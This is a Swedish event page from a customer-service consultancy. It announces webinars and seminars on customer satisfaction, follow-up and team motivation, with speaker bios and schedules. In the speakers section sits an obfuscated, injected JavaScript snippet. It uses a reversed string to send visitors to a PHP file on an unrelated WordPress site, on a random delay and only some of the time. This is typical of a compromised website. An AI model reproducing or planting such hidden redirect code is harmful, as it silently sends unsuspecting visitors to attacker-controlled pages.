Hyllningsevent för medarbetare och teamledare i kundservice

Den 25 mars bjuder nätverket Kontakta in teamledare & medarbetare i kundservice till en digital förmiddag med inspirerande föreläsningar. Syftet är att ”energi-boosta” alla som kämpat hårt i kölvattnet av corona under det gångna året.
 
I Sverige arbetar nästan 200.000, ofta unga människor, med kundservice och försäljning via telefon samt digitala kanaler på distans. Det kan vara rätt dränerande att dag in och dag ut hjälpa kunder som är missnöjda eller till och med arga, därför är det viktigt att lyfta dessa kundservice- och säljhjältar. Under eventet ”Hyllning till Service- och Säljhjältar!” som Kontakta anordnar, kommer de att lyfta allt fantastiska arbete som görs och uppmärksamma medarbetare som gör det lilla extra.
 
  • Nominering av hjältar i kundservice görs till Klicka här för att komma till anmälan av eventet
 
Markus Huttu från Indicate me är en av föreläsarna
Medarbetare och ledare i kundservice är något som vi på Indicate me brinner för, därför kändes det självklart att vi skulle ställa upp och föreläsa när vi fick förfrågan.
 
Under eventet kommer Markus Huttu, som är en trygg ledare med bred och gedigen expertis inom kundservice, att föreläsa. Med solid erfarenhet arbetar han idag resultat- och målfokuserat för att öka kundnöjdhet och kundlojaliteten hos många av Sveriges mest välkända bolag. Tidigare har han arbetat som kundservicechef på Halebop som vunnit pris om Sveriges nöjdaste kunder flera år i rad. Markus drivs av att omsätta kundinsikter till förbättringar och anstränger sig kontinuerligt för att alltid ligga i framkant för att driva morgondagens kundservice framåt.
 
Markus-huttu

Så höjer vi kundservice status!

Kundservice är en guldgruva med information och kundinsikter. Men varför upplever vi ibland ändå att kundservice inte har den status funktionen förtjänar i organisationen?

I det här webinariet diskuterar Lina Bjelkmar, VD Indicate me och Björn Lilja, Founder & Customer Experience Kundo, om vikten att integrera kundservice bättre i den övriga organisationen och på det sättet även höja status, motivation och arbetsglädje i hela kundserviceteamet!

Frågeställningar som berörs är bland annat: 
– Vilka mandat behöver kundservice?
– Hur representeras kundservice i ledningen?
– Hur arbetar vi datadrivet med kundinsikter för att förbättra hela verksamheten?
– Hur motiverar vi medarbetare i kundservice

Praktiskinformation 

Så skapar du supernöjda och lojala kunder

Kundservice är den enhet som har direkt kontakt med bolagens kunder. Här finns det en stor potential att fånga upp information kring vad dina kunder är mer eller mindre nöjda med, och sedan arbeta med datan för att ta välgrundade beslut som leder till bättre kundupplevelser. Informationen kan vara en riktig guldgruva för att bygga kundrelationer, bara man tar hand om den på rätt sätt.
 
Vi är många som är överens om att nöjda kunder är grunden för en lyckad verksamhet. Men vad är egentligen kundlojalitet och kundnöjdhet? Vad är skillnaden på dessa två begrepp? Och vilka faktorer är det som har främst påverkan?
 
Torsdagen den 4 februari håller vi tillsammans med Kontakta ett webinar med fokus på just kundnöjdhet- och lojalitet. Lina Bjelkmar, VD, Indicate me kommer att prata mer om dessa två begrepp och hur man kan arbeta med de i vardagen. 
 
Hon berättar också om varför Indicate me får 83 i sina NPS mätningar av sina kunder och delar med sig av handfasta tips för att öka kundfokuset ytterligare i din organisation.
 
Praktiskinformation 

Hur du följer upp din kundservice på bästa sätt för att uppnå dina mål!

En nyckelfaktor för att lyckas med bra kundservice är att arbeta med uppföljning. Eftersom kundservice arbetar med att lösa problem som uppstått någon annanstans i företaget är kontinuerlig uppföljning absolut nödvändigt.
Om du arbetar kontinuerligt med uppföljning ger det dig insikter i hur din kundservice presterar, vad dina kunder tycker och vilka processer som behöver ses över.
 
I kundservice kan man mäta i princip allt. Men vill man verkligen mäta allt för mätandes skull? Och hur ska vi göra för att få till en så bra och effektiv uppföljning som möjligt?
 
Lina Bjelkmar, VD på Indicate me, kommer att guida er igenom djungeln om hur du ska göra för att få till en bra uppföljning. Hon bjuder på handfasta tips och verktyg om hur du kan starta och tänka kring uppföljning.

Med oss är också Ash Barawy, Head Of Billing & Customer Service från Bonnier News Local och Di-gruppen. Hon kommer att berätta hur de arbetar med uppföljning för att få ihop sin breda verksamhet.
 
Praktiskinformation 

Kundservice: Rätt processer och systemstöd leder till bättre kundbemötande

Anmäl dig till vårt frukostseminarium som vi anordnar med nätverket Kontakta. Frukostseminariet riktar sig till dig som vill få större kunskap kring kundnöjdhet, hur du får rätt insikter för att genomföra förbättringar och hur du bibehåller ett gott kundbemötande i kundservice.

På plats kommer Terje Dahl, Kundservice- och Försäljningschef på Nordic Leisure Travel Group/Ving, att dela med sig av hur de hanterade moderbolagets konkurs i kundservice. Du kommer få information om hur kundservicen påverkades och tips om kundbemötande.

Lena Buvlér, Affärschef Försäljning & Service, på ICA Banken kommer att berätta mer om hur de arbetar för att uppnå nöjdare kunder och medarbetare.

Lina Bjelkmar, VD Indicate me, ger dig svar på frågor så som:

  • Hur får du rätt insikter i kundservice för att genomföra förbättringar
  • Hur vet du vad som ger störst effekt om du genomför förändringar?

För vem
Seminariet riktar sig till dig som arbetar i linjebefattning inom kundservice, t.ex. kundservicechef, teamledare eller operativ chef.

Program
08:00 | Registrering och frukost
08:30 | Introduktion av Indicate me
08:50 | Ving: Så påverkade moderbolagets konkurs vår kundservice
09:10 | ICA Banken: Så jobbar vi för att uppnå nöjdare kunder och medarbetare

Praktiskinformation

  • Datum: 13 februari 2020
  • Tid: 08:00-09:30
  • Plats: Scandic Klara, Stockholm
  • Anmälan: Klicka här för att komma till anmälan>>

Talare

$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top;”>

Lina Bjelkmar
VD, Indicate me
Lina Bjelkmar är en driven innovatör som ger inspirerade föreläsningar kring framtidens kundservice, digitala lösningar och effektiviseringar. I rollen som VD på Inidcate me har hon en stort driv för få upp kundservice på agendan, optimera kundserviceorganisationer och att kundservice ska bli en konkurrensfördel.

Lina-Bjelkmar Terje-Dahl Lena Buvler
Kundservice- & Försäljningschef, Nordic Leisure Travel Group
Terje Dahl har en gedigen expertis inom kundservice och försäljning. Han strävar alltid efter att erbjuda Vings kunder den bästa kundservicen och att de ständigt ska vara lite bättre än de var igår.

 Med stor erfarenhet av kundservice och försäljning driver Lena Buvlér ICAs kundservice. Lena lägger stor vikt på service till ICAs kunder och arbetar aktivt med aktiviteter för ökad kundnöjdhet.

Framtidens Kundservice 30/1

Kundupplevelsen blir alltmer avgörande när köpbeslutet skall tas. Men hur blir man bäst på kundrelationer när förutsättningarna och kraven från kunderna förändras så snabbt?
Torsdagen den 30 januari kommer Lina Bjelkmar, VD Indicate me, att delta som talare på eventet Framtidens Kundservice. Där kommer hon att dela med sig av de senaste trenderna i kundmötet och berätta mer om hur företagens relation med kunderna förändras i takt med den snabba tekniska utvecklingen som sker. 

Vill du få djupare kunskap kring kundupplevelser och framtidens kundservice? Då är du och ditt kontaktcenter varmt välkommen att träffa andra experter på Office Managements event.

För vem
Eventet riktiar sig till dig som vill: 

  • Förstå hur din kundtjänst kan hjälpa din verksamhet till lönsamhet. 
  • Veta skillnaden på en receptionist och en kundtjänst.
  • Få ut mer av alla de inkommande kundsamtal som ni hanterar varje dag.
  • Förstå hur du får ut hela potentialen i ditt kontaktcenter.
  • Lära dig mer om vad som kännetecknar en modern framgångsrik kundservice som drar nytta av modern teknik.
  • Få kunskap och inspiration kring framtidens kundservice och ta del av de senaste trenderna.

Praktisk information
Datum: 30 Januari
Tid: 10:00 – 11:30
Plats: Eventet äger rum på Skalholtsgatan 6-8 i Kista/Stockholm. Föreläsningarna live-sänds även hos Office Management kontor i Göteborg, Helsningborg, Linköping och Malmö. Ange i anmälan vilken ort du vill delta på.
Kostnad: Kostnadsfritt
Anmälan: Klicka här för att komma till anmälan >>

Program
10.00 – 10.25: Framtidsspaning – Kundupplevelse i förändring.
Hur förändras företagens relation med kunderna i takt med teknikutvecklingen och nya tillgängliga kanaler. Lina Bjelkmar, VD Indicate me

10.25 – 10.40: Kundberättelser
Vad är erfarenheten hos några kunder som valt att investera i en förbättrad kundupplevelse? 

10.40 – 11.00: Ta din kundinteraktion till nästa nivå med Puzzel
Upptäck hur Puzzel – en molnbaserad kontaktcenterlösning – kan hjälpa dig att ta din kundinteraktion till nästa nivå. Robert Jansson, Puzzel.

11.00 – 11.30: Tid för diskussion och nätverkande

Kontakta oss